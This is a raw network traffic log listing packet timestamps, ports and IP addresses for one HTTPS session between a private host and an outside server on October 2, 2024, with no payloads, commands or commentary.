Oct 2, 2024 06:10:19.689954042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.690140009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.690155029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.690196991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.690201998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.690367937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.776281118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.776299000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.776396990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.776417971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.776967049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.776985884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.777056932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.777064085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.777760029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.779757977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.779773951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.779860020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.779866934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780004025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780021906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780026913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.780036926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780072927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.780102968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.780188084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780205011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780258894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.780262947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780472994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780493021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780531883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.780538082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780591011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.780605078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.780841112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780855894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780896902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.780900955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.780944109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.780963898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.781052113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.781068087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.781121016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.781126022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.781164885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.867101908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.867126942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.867182970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.867207050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.867223024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.867829084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.867849112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.867897987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.867908001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.869571924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.870338917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.870354891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.870412111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.870420933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.870469093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.870670080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.870686054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.870731115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.870735884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.870765924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.870784998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.870980978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.870997906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.871109962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.871114969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.871146917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.871164083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.871170998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.871175051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.871196032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.871228933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.871484995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.871500969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.871561050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.871567965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.871644974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.872049093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.872064114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.872123003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.872128010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.872212887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.957762003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.957777977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.957892895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.957907915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.958199024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.958416939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.958431959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.958615065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.958620071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.958662033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.961293936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.961313009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.961389065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.961395979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.961570978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.961615086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.961628914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.961685896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.961689949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.961837053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.961855888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.961890936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.961895943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.961920023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.961944103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.962290049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.962302923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.962357044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.962362051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.962382078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.962403059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.962568998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.962584972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.962635994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.962641001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.962759018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.962868929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.962887049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.962940931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.962944984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.963146925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.066432953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.066452026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.066586018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.066601992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.066653967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.066684008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.066711903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.066719055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.066737890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.066767931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.066900969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.066914082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.066966057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.066971064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.067152023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.067186117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.067202091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.067251921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.067256927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.067413092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.067430973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.067467928 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.067473888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.067504883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.067528963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.067934036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.067949057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.068017960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.068025112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.068146944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.068244934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.068260908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.068319082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.068324089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.068444014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.069776058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.069792032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.069844961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.069849014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.069896936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.156855106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.156874895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.156954050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.156968117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.157181025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.157202959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.157339096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.157339096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.157345057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.157552958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.157567024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.157644033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.157644033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.157650948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.157737017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.158149958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.158164978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.158211946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.158216953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.158422947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.158441067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.158476114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.158482075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.158499002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.158529043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.158683062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.158695936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.158766985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.158767939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.158772945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.158858061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.159326077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.159343004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.159400940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.159404993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.159471035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.160474062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.160490990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.160552025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.160557985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.161612988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.162090063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.247731924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.247752905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.247960091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.247987986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.248035908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.248054028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.248122931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.248130083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.248807907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.248826027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.248877048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.248882055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.248891115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.248927116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.248939991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.248944998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.248980999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.249532938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.249550104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.249608994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.249613047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.249809027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.249828100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.249871969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.249878883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.249901056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.250448942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.250463963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.250518084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.250524998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.251759052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.251777887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.251820087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.251826048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.251841068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.304908037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.338711023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.338731050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.338849068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.338865042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.338953972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.338973045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.339036942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.339046955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.339061975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.339090109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.339649916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.339665890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.339720011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.339725971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.339857101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.339878082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.339905024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.339910984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.339936972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.339962959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.340141058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.340157032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.340198994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.340204954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.340230942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.340253115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.340590954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.340605974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.340734959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.340740919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.341355085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.341375113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.341464996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.341471910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.341602087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.343090057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.343107939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.343221903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.343228102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.345887899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.356235027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.429527044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.429552078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.429601908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.429619074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.429630995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.429631948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.429653883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.429688931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.429696083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.429708958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.429740906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.429976940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.429994106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.430044889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.430051088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.430403948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.430423021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.430459023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.430464029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.430490971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.430522919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.431173086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.431186914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.431224108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.431229115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.431246996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.431267977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.431273937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.431288958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.431328058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.431333065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.432140112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.432157993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.432192087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.432199001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.432212114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.432239056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.433851004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.433887959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.433902979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.433949947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.433954954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.433976889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.433990955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.520066023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.520085096 CEST	443	49744	167.114.14.168	192.168.2.4
